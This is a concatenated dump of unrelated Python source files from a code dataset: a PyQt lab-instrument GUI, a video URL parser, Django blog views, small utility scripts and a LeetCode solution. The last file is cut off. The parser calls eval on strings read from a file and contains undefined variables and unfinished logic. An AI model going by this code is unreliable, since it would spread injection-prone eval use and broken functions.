self.IPS_window.labelStatusLocRem.setText(self.data['IPS']['status_locrem'])\n self.IPS_window.labelStatusSwitchHeater.setText(self.data['IPS']['status_switchheater'])\n\n\n # ------- LakeShore 350 -------\n def initialize_window_LakeShore350(self):\n \"\"\"initialize LakeShore Window\"\"\"\n self.LakeShore350_window = Window_ui(ui_file='.\\\\LakeShore\\\\LakeShore350_control.ui')\n self.LakeShore350_window.sig_closing.connect(lambda: self.action_show_LakeShore350.setChecked(False))\n\n # self.LakeShore350_window.textSensor1_Kpmin.setAlignment(QtAlignRight)\n\n self.action_run_LakeShore350.triggered['bool'].connect(self.run_LakeShore350)\n self.action_show_LakeShore350.triggered['bool'].connect(self.show_LakeShore350)\n self.LakeShore350_Kpmin = None\n\n def func_LakeShore350_setKpminLength(self, length):\n \"\"\"set the number of measurements the calculation should be conducted over\"\"\"\n if not self.LakeShore350_Kpmin:\n self.LakeShore350_Kpmin = dict( newtime=[time.time()]*length,\n Sensors=dict(\n Sensor_1_K=[0]*length,\n Sensor_2_K=[0]*length,\n Sensor_3_K=[0]*length,\n Sensor_4_K=[0]*length),\n length=length)\n elif self.LakeShore350_Kpmin['length'] > length:\n self.LakeShore350_Kpmin['newtime'] = self.LakeShore350_Kpmin['newtime'][:length]\n for sensor in self.LakeShore350_Kpmin['Sensors']:\n sensor = sensor[:length]\n self.LakeShore350_Kpmin['length'] = length\n elif self.LakeShore350_Kpmin['length'] < length:\n self.LakeShore350_Kpmin['newtime'] += [time.time()]*(length-self.LakeShore350_Kpmin['length'])\n for sensor in self.LakeShore350_Kpmin['Sensors']:\n sensor += [0]*(length-self.LakeShore350_Kpmin['length'])\n self.LakeShore350_Kpmin['length'] = length\n\n\n @pyqtSlot(bool)\n def run_LakeShore350(self, boolean):\n \"\"\"start/stop the LakeShore350 thread\"\"\"\n\n if boolean:\n try:\n getInfodata = self.running_thread(LakeShore350_Updater(InstrumentAddress=LakeShore_InstrumentAddress),'LakeShore350', 'control_LakeShore350')\n\n getInfodata.sig_Infodata.connect(self.store_data_LakeShore350)\n # getInfodata.sig_visaerror.connect(self.printing)\n getInfodata.sig_visaerror.connect(self.show_error_textBrowser)\n # getInfodata.sig_assertion.connect(self.printing)\n getInfodata.sig_assertion.connect(self.show_error_textBrowser)\n getInfodata.sig_visatimeout.connect(lambda: self.show_error_textBrowser('LakeShore350: timeout'))\n\n self.func_LakeShore350_setKpminLength(5)\n\n # setting LakeShore values by GUI LakeShore window\n self.LakeShore350_window.spinSetTemp_K.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].gettoset_Temp_K(value))\n self.LakeShore350_window.spinSetTemp_K.editingFinished.connect(lambda: self.threads['control_LakeShore350'][0].setTemp_K())\n\n self.LakeShore350_window.spinSetRampRate_Kpmin.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].gettoset_Ramp_Rate_K(value))\n self.LakeShore350_window.spinSetRampRate_Kpmin.editingFinished.connect(lambda: self.threads['control_LakeShore350'][0].setRamp_Rate_K())\n\n # allows to choose from different inputs to connect to output 1 control loop. default is input 1.\n\n self.LakeShore350_window.comboSetInput_Sensor.activated['int'].connect(lambda value: self.threads['control_LakeShore350'][0].setInput(value + 1))\n # self.LakeShore350_window.spinSetInput_Sensor.editingFinished.(lambda value: self.threads['control_LakeShore350'][0].setInput())\n\n\n \"\"\" NEW GUI controls P, I and D values for Control Loop PID Values Command\n # \"\"\"\n # self.LakeShore350_window.spinSetLoopP_Param.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].gettoset_LoopP_Param(value))\n # self.LakeShore350_window.spinSetLoopP_Param.Finished.connect(lambda: self.threads['control_LakeShore350'][0].setLoopP_Param())\n\n # self.LakeShore350_window.spinSetLoopI_Param.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].gettoset_LoopI_Param(value))\n # self.LakeShore350_window.spinSetLoopI_Param.Finished.connect(lambda: self.threads['control_LakeShore350'][0].setLoopI_Param())\n\n # self.LakeShore350_window.spinSetLoopD_Param.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].gettoset_LoopD_Param(value))\n # self.LakeShore350_window.spinSetLoopD_Param.Finished.connect(lambda: self.threads['control_LakeShore350'][0].setLoopD_Param())\n\n \"\"\" NEW GUI Heater Range and Ouput Zone\n \"\"\"\n\n # self.LakeShore350_window.comboSetHeater_Range.activated['int'].connect(lambda value: self.threads['control_LakeShore350'][0].setHeater_Range(value))\n\n #self.LakeShore350_window.spinSetHeater_Range.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].gettoset_Heater_Range(value))\n #self.LakeShore350_window.spinSetHeater_Range.Finished.connect(lambda: self.threads['control_LakeShore350'][0].setHeater_Range())\n\n # self.LakeShore350_window.spinSetUpper_Bound.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].gettoset_Upper_Bound(value))\n # self.LakeShore350_window.spinSetZoneP_Param.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].gettoset_ZoneP_Param(value))\n # self.LakeShore350_window.spinSetZoneI_Param.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].gettoset_ZoneI_Param(value))\n # self.LakeShore350_window.spinSetZoneD_Param.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].gettoset_ZoneD_Param(value))\n # self.LakeShore350_window.spinSetZoneMout.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].gettoset_ZoneMout(value))\n # self.LakeShore350_window.spinSetZone_Range.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].gettoset_Zone_Range(value))\n # self.LakeShore350_window.spinSetZone_Rate.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].gettoset_Zone_Rate(value))\n\n\n self.LakeShore350_window.spin_threadinterval.valueChanged.connect(lambda value: self.threads['control_LakeShore350'][0].setInterval(value))\n\n\n self.action_run_LakeShore350.setChecked(True)\n\n except VisaIOError as e:\n self.action_run_LakeShore350.setChecked(False)\n self.show_error_textBrowser('running: {}'.format(e))\n else:\n self.action_run_LakeShore350.setChecked(False)\n self.stopping_thread('control_LakeShore350')\n\n self.LakeShore350_window.spinSetTemp_K.valueChanged.disconnect()\n self.LakeShore350_window.spinSetTemp_K.editingFinished.disconnect()\n self.LakeShore350_window.spinSetRampRate_Kpmin.valueChanged.disconnect()\n self.LakeShore350_window.spinSetRampRate_Kpmin.editingFinished.disconnect()\n self.LakeShore350_window.comboSetInput_Sensor.activated['int'].disconnect()\n\n @pyqtSlot(bool)\n def show_LakeShore350(self, boolean):\n \"\"\"display/close the ILM data & control window\"\"\"\n if boolean:\n self.LakeShore350_window.show()\n else:\n self.LakeShore350_window.close()\n\n def calculate_Kpmin(self, data):\n \"\"\"calculate the rate of change of Temperature\"\"\"\n coeffs = []\n for sensordata in self.LakeShore350_Kpmin['Sensors'].values():\n coeffs.append(np.polynomial.polynomial.polyfit(self.LakeShore350_Kpmin['newtime'], sensordata, deg=1))\n\n integrated_diff = dict(Sensor_1_Kpmin=coeffs[0][1]*60,\n Sensor_2_Kpmin=coeffs[1][1]*60,\n Sensor_3_Kpmin=coeffs[2][1]*60,\n Sensor_4_Kpmin=coeffs[3][1]*60)\n\n data.update(integrated_diff)\n\n\n # advancing entries to the next slot\n for i, entry in enumerate(self.LakeShore350_Kpmin['newtime'][:-1]):\n self.LakeShore350_Kpmin['newtime'][i+1] = entry\n self.LakeShore350_Kpmin['newtime'][0] = time.time()\n for key in self.LakeShore350_Kpmin['Sensors'].keys():\n self.LakeShore350_Kpmin['Sensors'][key][i+1] = self.LakeShore350_Kpmin['Sensors'][key][i]\n self.LakeShore350_Kpmin['Sensors'][key][0] = deepcopy(data[key])\n\n\n # self.LakeShore350_Kpmin['Sensors']['Sensor_2_K'][i+1] = self.LakeShore350_Kpmin['Sensors']['Sensor_2_K'][i]\n # self.LakeShore350_Kpmin['Sensors']['Sensor_3_K'][i+1] = self.LakeShore350_Kpmin['Sensors']['Sensor_3_K'][i]\n # self.LakeShore350_Kpmin['Sensors']['Sensor_4_K'][i+1] = self.LakeShore350_Kpmin['Sensors']['Sensor_4_K'][i]\n\n # including the new values\n # self.LakeShore350_Kpmin['Sensors']['Sensor_2_K'][0] = deepcopy(data['Sensor_2_K'])\n # self.LakeShore350_Kpmin['Sensors']['Sensor_3_K'][0] = deepcopy(data['Sensor_3_K'])\n # self.LakeShore350_Kpmin['Sensors']['Sensor_4_K'][0] = deepcopy(data['Sensor_4_K'])\n\n # data.update(dict(Sensor_1_Kpmin=integrated_diff['Sensor_1_Kpmin'],\n # Sensor_2_Kpmin=integrated_diff['Sensor_2_Kpmin'],\n # Sensor_3_Kpmin=integrated_diff['Sensor_3_Kpmin'],\n # Sensor_4_Kpmin=integrated_diff['Sensor_4_Kpmin']))\n\n return integrated_diff, data\n\n @pyqtSlot(dict)\n def store_data_LakeShore350(self, data):\n \"\"\"\n Calculate the rate of change of Temperature on the sensors [K/min]\n Store LakeShore350 data in self.data['LakeShore350'], update LakeShore350_window\n \"\"\"\n\n coeffs, data = self.calculate_Kpmin(data)\n\n for GUI_element, co in zip([self.LakeShore350_window.textSensor1_Kpmin,\n self.LakeShore350_window.textSensor2_Kpmin,\n self.LakeShore350_window.textSensor3_Kpmin,\n self.LakeShore350_window.textSensor4_Kpmin],\n coeffs.values()):\n if not co == 0:\n GUI_element.setText('{num:=+10.4f}'.format(num=co))\n\n data['date'] = convert_time(time.time())\n with self.dataLock:\n self.data['LakeShore350'].update(data)\n # this needs to draw from the self.data['INSTRUMENT'] so that in case one of the keys did not show up,\n # since the command failed in the communication with the device, the last value is retained\n\n self.LakeShore350_window.progressHeaterOutput_percentage.setValue(self.data['LakeShore350']['Heater_Output_percentage'])\n self.LakeShore350_window.lcdHeaterOutput_mW.display(self.data['LakeShore350']['Heater_Output_mW'])\n self.LakeShore350_window.lcdSetTemp_K.display(self.data['LakeShore350']['Temp_K'])\n # self.LakeShore350_window.lcdRampeRate_Status.display(self.data['LakeShore350']['RampRate_Status'])\n self.LakeShore350_window.lcdSetRampRate_Kpmin.display(self.data['LakeShore350']['Ramp_Rate'])\n\n self.LakeShore350_window.comboSetInput_Sensor.setCurrentIndex(int(self.data['LakeShore350']['Input_Sensor'])-1)\n self.LakeShore350_window.lcdSensor1_K.display(self.data['LakeShore350']['Sensor_1_K'])\n self.LakeShore350_window.lcdSensor2_K.display(self.data['LakeShore350']['Sensor_2_K'])\n self.LakeShore350_window.lcdSensor3_K.display(self.data['LakeShore350']['Sensor_3_K'])\n self.LakeShore350_window.lcdSensor4_K.display(self.data['LakeShore350']['Sensor_4_K'])\n\n \"\"\"NEW GUI to display P,I and D Parameters\n \"\"\"\n # self.LakeShore350_window.lcdLoopP_Param.display(self.data['LakeShore350']['Loop_P_Param'])\n # self.LakeShore350_window.lcdLoopI_Param.display(self.data['LakeShore350']['Loop_I_Param'])\n # self.LakeShore350_window.lcdLoopD_Param.display(self.data['LakeShore350']['Loop_D_Param'])\n\n # self.LakeShore350_window.lcdHeater_Range.display(self.date['LakeShore350']['Heater_Range'])\n\n\n\n # ------- MISC -------\n\n def printing(self,b):\n \"\"\"arbitrary example function\"\"\"\n print(b)\n\n def initialize_window_Log_conf(self):\n \"\"\"initialize Logging configuration window\"\"\"\n self.Log_conf_window = Logger_configuration()\n self.Log_conf_window.sig_closing.connect(lambda: self.action_Logging_configuration.setChecked(False))\n self.Log_conf_window.sig_send_conf.connect(lambda conf: self.sig_logging_newconf.emit(conf))\n\n self.action_Logging.triggered['bool'].connect(self.run_logger)\n self.action_Logging_configuration.triggered['bool'].connect(self.show_logging_configuration)\n\n @pyqtSlot(bool)\n def run_logger(self, boolean):\n \"\"\"start/stop the logging thread\"\"\"\n\n # read the last configuration of what shall be logged from a respective file\n\n if boolean:\n logger = self.running_thread(main_Logger(self), None, 'logger')\n logger.sig_log.connect(lambda : self.sig_logging.emit(deepcopy(self.data)))\n logger.sig_configuring.connect(self.show_logging_configuration)\n self.logging_running_logger = True\n\n else:\n self.stopping_thread('logger')\n self.logging_running_logger = False\n\n @pyqtSlot(bool)\n def show_logging_configuration(self, boolean):\n \"\"\"display/close the logging configuration window\"\"\"\n if boolean:\n self.Log_conf_window.show()\n else:\n self.Log_conf_window.close()\n\n @pyqtSlot(bool)\n def run_logger_live(self, boolean):\n \"\"\"method to start/stop the thread which controls the Oxford ITC\"\"\"\n\n if boolean:\n # try:\n\n getInfodata = self.running_thread(live_Logger(self), None, 'control_Logging_live')\n getInfodata.sig_assertion.connect(self.show_error_textBrowser)\n\n self.actionLogging_LIVE.setChecked(True)\n print('logging live online')\n # except VisaIOError as e:\n # self.actionLogging_LIVE.setChecked(False)\n # self.show_error_textBrowser(e)\n # print(e) # TODO: open window displaying the error message\n else:\n self.stopping_thread('control_Logging_live')\n self.actionLogging_LIVE.setChecked(False)\n\n def initialize_window_Errors(self):\n \"\"\"initialize Error Window\"\"\"\n self.Errors_window = Window_ui(ui_file='.\\\\configurations\\\\Errors.ui')\n self.Errors_window.sig_closing.connect(lambda: self.action_show_Errors.setChecked(False))\n\n self.Errors_window.textErrors.setHtml('')\n\n # self.action_run_Errors.triggered['bool'].connect(self.run_ITC)\n self.action_show_Errors.triggered['bool'].connect(self.show_Errors)\n\n @pyqtSlot(bool)\n def show_Errors(self, boolean):\n \"\"\"display/close the Error window\"\"\"\n if boolean:\n self.Errors_window.show()\n else:\n self.Errors_window.close()\n\n\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n a = time.time()\n form = mainWindow(app=app)\n form.show()\n print(time.time()-a)\n sys.exit(app.exec_())\n","sub_path":"mainWindow.py","file_name":"mainWindow.py","file_ext":"py","file_size_in_byte":57233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"330366379","text":"import videos\nfrom videos import (VideoFromYoutubeURL, VideoFromImageURL, VideoFromText,\n VideoFromFrameFromYoutubeVideo, VideoSaveStream)\nfrom filedict import FileDict\nfrom functions import in_new_thread\n\n\ndef brakes_decorator(func):\n def wrapper(*args, **kwargs):\n res = func(*args, **kwargs)\n return \"(\" + res + \")\"\n return wrapper\n\n\n# @brakes_decorator\ndef to_url(video):\n if type(video) == videos.VideoFromYoutubeURL:\n return f\"'{video.video_id}'\"\n elif type(video) == videos.PartOfVideo:\n return to_url(video.video)+f\"[{video.start_time}: {video.end_time}]\"\n elif type(video) == videos.SumOfVideo:\n rt = \"+\".join([to_url(elem) for elem in video.videos_list])\n return rt\n elif type(video) == videos.PartsOfOneVideo:\n rt = to_url(video.video) + '['\n rt += \", \".join(f\"{s.start}: {s.stop}\" for s in video.slices_list)\n return rt + ']'\n elif type(video) == videos.SeparatedVideoAndAudio:\n return f\"{to_url(video.frames_video)} / {to_url(video.sound_video)}\"\n elif type(video) == videos.SmartAcceleratedVideo:\n return \"(\" + to_url(video.video) + \")\" + str(video.settings)[8:]\n\n \ndef video_from_very_short_str(string):\n it = 0 # iterator\n operators_info = {\"+\": {\"operands_numb\": 2, \"priority\": 1},\n \"*\": {\"operands_numb\": 2, \"priority\": 2},\n \"/\": {\"operands_numb\": 2, \"priority\": 2}}\n stack = [\"end\"]\n while it < len(s):\n if string[it] == \"'\":\n new_it = string[it:].find(\"'\") + 1\n video_id = string[i: new_it]\n stack.append(videos.VideoFromYoutubeURL(video_id))\n it = new_it\n elif string[it] == '\"':\n new_it = string[it:].find('\"') + 1\n image_link = string[i: new_it]\n stack.append(videos.VideoFromImageURL(image_link))\n it = new_it\n elif string[it] == \"[\":\n new_it = string[it:].find(\"]\") + 1\n slices = list(string[i: new_it].split(\",\"))\n slices = [list(map(float, elem.split(\":\"))) for elem in slices]\n slices = [slice(*elem) for elem in slices]\n stack[-1] = stack[-1][slices]\n it = new_it\n elif 1:\n pass\n\n@in_new_thread\ndef process_str(s, folder, chunk=5):\n import os\n try:\n os.stat(folder)\n except:\n os.makedirs(folder)\n\n stream = VideoSaveStream(eval(s))\n it, file_counter = 0, 0\n dur = stream.video.get_duration()\n while it < dur - chunk:\n # print(f\"Writing... {it, it + chunk, folder, file_counter}\")\n file_counter = stream.save_part(it, it + chunk, folder, file_counter)\n # file_counter -= 1\n it += chunk\n\n if it != dur:\n # print(f\"last {it, dur}\")\n stream.save_part(it, dur, folder, file_counter)\n print(f\"Task '{s}' sucssesfully completed\")\n\n\ndef bad_code_read_one_line_from_test_txt_and_process_it():\n with open(\"test.txt\") as f:\n s = f.readline()\n print(eval(s))\n # s = f\"VideoFromYoutubeURL('KWbANha2iws')[71:77] + VideoFromImageURL('{image_url}', 7)\"\n name = \"111\"\n folder = r\"C:\\Users\\m\\Desktop\\PythonProjects\\YouTube_GlueAndScissors\\Code\\glue_scissors_for_youtube\\video\\{}/\".format(name)\n print(folder)\n process_str(s, folder, chunk=3 * 60 * 60)\n\n\nbad_code_read_one_line_from_test_txt_and_process_it()\n\n# r\"\"\"\n# image_url = r\"https://img2.akspic.ru/image/88423-burdzh_halifa-neboskreb-vyshka-zdanie-liniya_gorizonta-1920x1200.jpg\"\n# s = \"VideoFromYoutubeURL('2WemzwuAQF4')[56: 63, 66: 69]/ VideoFromYoutubeURL('qiZLHchtX8c')[239:249](volume_cooficient = 1.2)\"\n# s = r\"VideoFromText('Подборка самых\\nжизненных фраз\\nOneTwo', 3) + VideoFromYoutubeURL('KWbANha2iws')[307:309, 307:309:0.66](volume_cooficient=0) + VideoFromYoutubeURL('KWbANha2iws')[71:77] + VideoFromYoutubeURL('U3-6jv0NCkk')[206:212] + VideoFromYoutubeURL('A8Fon7DWho4')[65:69]\"\n # \"\"\"\n\n\"\"\"\ntemp = videos.VideoFromYoutubeURL('V1sRabJhGWs')\nv1 = temp[0:10, 15:20]\nv2 = temp[0:10]\nv3 = v1 + v2\nv4 = v3 / temp[0:25]\nv5 = v4(volume_cooficient=0)\nfor v in [v1, v2, v3, v4, v5]:\n # print(v.short_str())\n print(to_url(v)) #https://youtu.be/1at7kKzBYxI \"\"\"\n","sub_path":"url_parser.py","file_name":"url_parser.py","file_ext":"py","file_size_in_byte":4248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"638020842","text":"import json\n\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\nfrom django.views import View\nfrom django.utils.decorators import method_decorator\nfrom tools.logging_dec import logging_check, get_user_by_request\nfrom .models import Topic\nfrom user.models import UserProfile\n\n#异常码 10300 - 10399\n\n\n# Create your views here.\nclass TopicViews(View):\n\n\n def make_topics_res(self, author, author_topics):\n #博主主页 文章列表页的返回值\n\n topics_res = []\n for topic in author_topics:\n d = {}\n d['id'] = topic.id\n d['title'] = topic.title\n d['category'] = topic.category\n #2018-09-03 10:30:20\n d['introduce'] = topic.introduce\n d['created_time'] = topic.created_time.strftime('%Y-%m-%d %H:%M:%S')\n d['author'] = author.nickname\n topics_res.append(d)\n\n res = {'code': 200, 'data': {}}\n res['data']['topics'] = topics_res\n res['data']['nickname'] = author.nickname\n return res\n\n\n\n @method_decorator(logging_check)\n def post(self, request, author_id):\n #发表文章\n author = request.myuser\n json_str = request.body\n json_obj = json.loads(json_str)\n #获取json串内容\n #{\"content\":\"

    aaaasdasdasd

    \",\"content_text\":\"aaaasdasdasd\",\"limit\":\"public\",\"title\":\"aaaaaaa\",\"category\":\"tec\"}\n #带有html的 文章内容\n content = json_obj['content']\n #纯文本的文章内容 - 用来截取文章简介\n content_text = json_obj['content_text']\n #根据 content_text 前20个字为文章简介\n introduce = content_text[:20]\n title = json_obj['title']\n\n\n limit = json_obj['limit']\n if limit not in ['public', 'private']:\n result = {'code':10300, 'error':'The limit is error'}\n return JsonResponse(result)\n\n category = json_obj['category']\n if category not in ['tec', 'no-tec']:\n result = {'code':10301, 'error':'The category is error'}\n return JsonResponse(result)\n\n #数据入库\n Topic.objects.create(title=title, content=content,limit=limit, category=category,introduce=introduce,user_profile=author)\n\n return JsonResponse({'code':200, 'username':author.username})\n\n\n\n def get(self, request, author_id):\n #/v1/topics/guoxiaonao\n # /v1/topics/guoxiaonao?category=tec|no-tec\n #获取用户guoxiaonao的文章列表\n #1,访问者 visitor\n #2, 博主 author\n\n try:\n author = UserProfile.objects.get(username=author_id)\n except Exception as e:\n result = {'code':10305, 'error':'The author id is error'}\n return JsonResponse(result)\n #尝试获取访问者的身份\n visitor_username = get_user_by_request(request)\n\n category = request.GET.get('category')\n filter_category = False\n if category in ['tec', 'no-tec']:\n filter_category = True\n\n if visitor_username == author_id:\n #博主访问自己的博客\n if filter_category:\n author_topics = Topic.objects.filter(user_profile_id=author_id, category=category)\n else:\n author_topics = Topic.objects.filter(user_profile_id=author_id)\n else:\n #非博主访问博主的博客\n if filter_category:\n author_topics = Topic.objects.filter(user_profile_id=author_id, limit='public', category=category)\n else:\n author_topics = Topic.objects.filter(user_profile_id=author_id, limit='public')\n\n res = self.make_topics_res(author, author_topics)\n return JsonResponse(res)\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"topic/views2.py","file_name":"views2.py","file_ext":"py","file_size_in_byte":3780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"113750677","text":"# coding=utf-8\nimport json\nimport logging\nimport os\nimport sys\nfrom datetime import datetime\n\nclass FindFiles:\n def __init__(self, folder_name):\n self.folder_name = folder_name\n folders = {\n \"project/crawled_players\" : \"player_data_\",\n \"project/parsed_players\" : \"parsed_player_data_\",\n \"project/crawled_tournaments\" : \"tournament_data_\",\n \"project/parsed_tournaments\" : \"parsed_tournament_data_\"\n }\n try:\n self.file_text = folders[self.folder_name]\n except:\n sys.exit('Unable to find folder with the name mentioned')\n\n def days_since_today(self, file_date):\n today = str(datetime.today()).split(' ')[0]\n d1 = datetime.strptime(today, \"%Y-%m-%d\")\n d2 = datetime.strptime(file_date, \"%Y-%m-%d\")\n return abs((d2 - d1).days)\n\n def find_latest_file(self):\n for file in os.listdir(\"./\" + self.folder_name):\n latest_file = \"\"\n crawled_since = 1000\n if file.endswith(\".json\"):\n file_date = file.replace(self.file_text, '').replace('.json', '')\n time_difference = self.days_since_today(file_date)\n if time_difference < crawled_since:\n crawled_since = time_difference\n latest_file = os.path.join(\".\\\\\" + self.folder_name, file)\n\n if latest_file == \"\":\n sys.exit('Failed to find latest file')\n else:\n return (latest_file)\n\n def find_all_files(self):\n all_files_in_folder = []\n for file in os.listdir(\"./\" + self.folder_name):\n if file.endswith(\".json\"):\n file = os.path.join(\".\\\\\" + self.folder_name, file)\n all_files_in_folder.append(file)\n\n return (all_files_in_folder)\n\n def find_one_file(self, specific_file):\n for file in os.listdir(\"./\" + self.folder_name):\n if file.endswith(\".json\") and file == specific_file:\n file = os.path.join(\".\\\\\" + self.folder_name, file)\n return (file)\n\n\n#print (FindFiles('crawled_players').find_one_file(\"player_data_2019-09-13.json\"))\n","sub_path":"project/utils/find_file.py","file_name":"find_file.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"178033237","text":"#!/home/kikos/anaconda3/bin/python3\nfrom os import popen\nfrom random import randint\n\ndef gen():\n\twith open('F.in', 'w') as f:\n\t\tn = randint(1, 10)\n\t\tf.write(str(n) + '\\n')\n\t\tfor i in range(n):\n\t\t\ta = randint(1, 20)\n\t\t\tf.write(str(a) + ' ')\n\npopen('g++ F.cpp -o F -std=c++14')\npopen('g++ Fs.cpp -o Fs -std=c++14')\nfor test in range(1, 100):\n\tgen()\n\tans1 = popen('./F < F.in').read()\n\tans2 = popen('./Fs < F.in').read()\n\tif ans1 != ans2:\n\t\tprint('WA', test)\n\t\tprint(ans1)\n\t\tprint(ans2)\n\t\tbreak\n\telse:\n\t\tprint('OK', test)\n","sub_path":"algo/linal/stress.py","file_name":"stress.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"237106041","text":"import string\nfilename = 'program_poll.txt'\nprint(\"Please enter 'q' to terminate program..\")\nwhile True:\n\treason = input(\"Please enter why you like programming: \")\n\tif reason == 'q':\n\t\tbreak\n\n\twith open(filename, 'a') as file_object:\n\t\tfile_object.write(string.capwords(reason) + \"\\n\" )\n","sub_path":"chapter10/programming_poll.py","file_name":"programming_poll.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"504450318","text":"# -*- coding: utf-8 -*-\n# author:lyh\n# datetime:2020/7/13 23:55\n\"\"\"\n188. 买卖股票的最佳时机 IV\n\n给定一个数组,它的第 i 个元素是一支给定的股票在第 i 天的价格。\n\n设计一个算法来计算你所能获取的最大利润。你最多可以完成 k 笔交易。\n\n注意: 你不能同时参与多笔交易(你必须在再次购买前出售掉之前的股票)。\n\n示例 1:\n\n输入: [2,4,1], k = 2\n输出: 2\n解释: 在第 1 天 (股票价格 = 2) 的时候买入,在第 2 天 (股票价格 = 4) 的时候卖出,这笔交易所能获得利润 = 4-2 = 2 。\n\n示例 2:\n\n输入: [3,2,6,5,0,3], k = 2\n输出: 7\n解释: 在第 2 天 (股票价格 = 2) 的时候买入,在第 3 天 (股票价格 = 6) 的时候卖出, 这笔交易所能获得利润 = 6-2 = 4 。\n 随后,在第 5 天 (股票价格 = 0) 的时候买入,在第 6 天 (股票价格 = 3) 的时候卖出, 这笔交易所能获得利润 = 3-0 = 3 。\n\"\"\"\nfrom typing import List\n\n\nclass Node:\n def __init__(self, dv, mv):\n self.dv = dv # 删除损失\n self.mv = mv # 归并损失\n\n self.pre = None\n self.next = None\n self.index = 0\n\n @classmethod\n def link(cls, left, right):\n if isinstance(left, cls):\n left.next = right\n if isinstance(right, cls):\n right.pre = left\n\n @classmethod\n def drop(cls, n):\n if isinstance(n, cls):\n if isinstance(n.pre, cls):\n n.pre.next = n.next\n if isinstance(n.next, cls):\n n.next.pre = n.pre\n n.pre, n.next = None, None\n\n def __lt__(self, other):\n return min(self.dv, self.mv) < min(other.dv, other.mv)\n\n\nclass LinkHeap:\n def __init__(self):\n self.heap = []\n self.root = None\n self.end = None\n\n def _up(self, index):\n while index > 0:\n f = (index - 1) // 2\n if self.heap[index] < self.heap[f]:\n self.heap[f], self.heap[index] = self.heap[index], self.heap[f]\n self.heap[f].index = f\n self.heap[index].index = index\n index = f\n else:\n break\n\n def _down(self, index):\n left = index * 2 + 1\n while left < len(self.heap):\n target = index\n right = left + 1\n if self.heap[left] < self.heap[target]:\n target = left\n if right < len(self.heap) and self.heap[right] < self.heap[target]:\n target = right\n if target == index:\n break\n self.heap[target], self.heap[index] = self.heap[index], self.heap[target]\n self.heap[target].index = target\n self.heap[index].index = index\n index = target\n left = index * 2 + 1\n\n def update(self, index):\n self._down(index)\n self._up(index)\n\n def push(self, n: Node):\n n.index = len(self.heap)\n self.heap.append(n)\n self.update(n.index)\n\n def pop(self, index=0) -> [Node, None]:\n if index >= len(self.heap):\n return None\n res = self.heap[index]\n self.heap[index] = self.heap[-1]\n self.heap[index].index = index\n self.heap.pop()\n self.update(index)\n return res\n\n def top(self) -> [Node, None]:\n return self.heap[0] if len(self.heap) > 0 else None\n\n def __len__(self):\n return len(self.heap)\n\n\nclass Solution:\n def maxProfit(self, k: int, prices: List[int]) -> int:\n k = min(k, len(prices) // 2)\n if k == 0 or len(prices) == 0:\n return 0\n\n # 根据价格升序创建交易区间\n sales = []\n buy = prices[0]\n for i in range(1, len(prices)):\n if prices[i] < prices[i-1]:\n if buy < prices[i-1]:\n sales.append((buy, prices[i-1]))\n buy = prices[i]\n sales.append((buy, prices[-1]))\n\n # 统计各区间删除、归并的损失,向左归并,头区间不能删除\n profits = LinkHeap()\n left = Node(sales[0][1] - sales[0][0], int(1e9))\n profits.push(left)\n for i in range(1, len(sales)):\n right = Node(sales[i][1] - sales[i][0], sales[i - 1][1] - sales[i][0])\n Node.link(left, right)\n profits.push(right)\n left = right\n\n # 贪心归并区间\n while len(profits) > k:\n # 查损失最小区间\n n = profits.top()\n\n # 删除、归并区间\n if n.dv < n.mv:\n if n.next is not None:\n n.next.mv += n.mv - n.dv\n profits.update(n.next.index)\n profits.pop(n.index)\n Node.drop(n)\n else:\n n.pre.dv += n.dv - n.mv\n profits.update(n.pre.index)\n profits.pop(n.index)\n Node.drop(n)\n\n # 统计收益\n res = 0\n for n in profits.heap:\n res += n.dv\n return res\n\n\nif __name__ == '__main__':\n print(Solution().maxProfit(2, [2, 4, 1]), 2)\n print(Solution().maxProfit(2, [3, 2, 6, 5, 0, 3]), 7)\n print(Solution().maxProfit(3, [2]), 0)\n print(Solution().maxProfit(0, [2, 4, 1]), 0)\n","sub_path":"Solutions/0188.maxProfit.hard.py","file_name":"0188.maxProfit.hard.py","file_ext":"py","file_size_in_byte":5286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"546144521","text":"import argparse\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\n\nfrom net import MnistNet, MLP\nfrom utils import simplex_grid\n\nfrom tqdm import tqdm, trange\n\nimport numpy as np\nfrom copy import deepcopy\n\nweight_dict_1 = torch.load('model_weights/mlp_weights_0.pth', map_location='cpu')\nweight_dict_2 = torch.load('model_weights/mlp_weights_1.pth', map_location='cpu')\nweight_dict_3 = torch.load('model_weights/mlp_weights_2.pth', map_location='cpu')\n\nx = np.linspace(-0.4, 1.3, 50)\ny = np.linspace(-0.4, 1.3, 50)\n\nX, Y = np.meshgrid(x, y)\nZ = 1 - X - Y\n\ngrid = simplex_grid(3, 25) / 25\ngrid_val = []\n\ndef 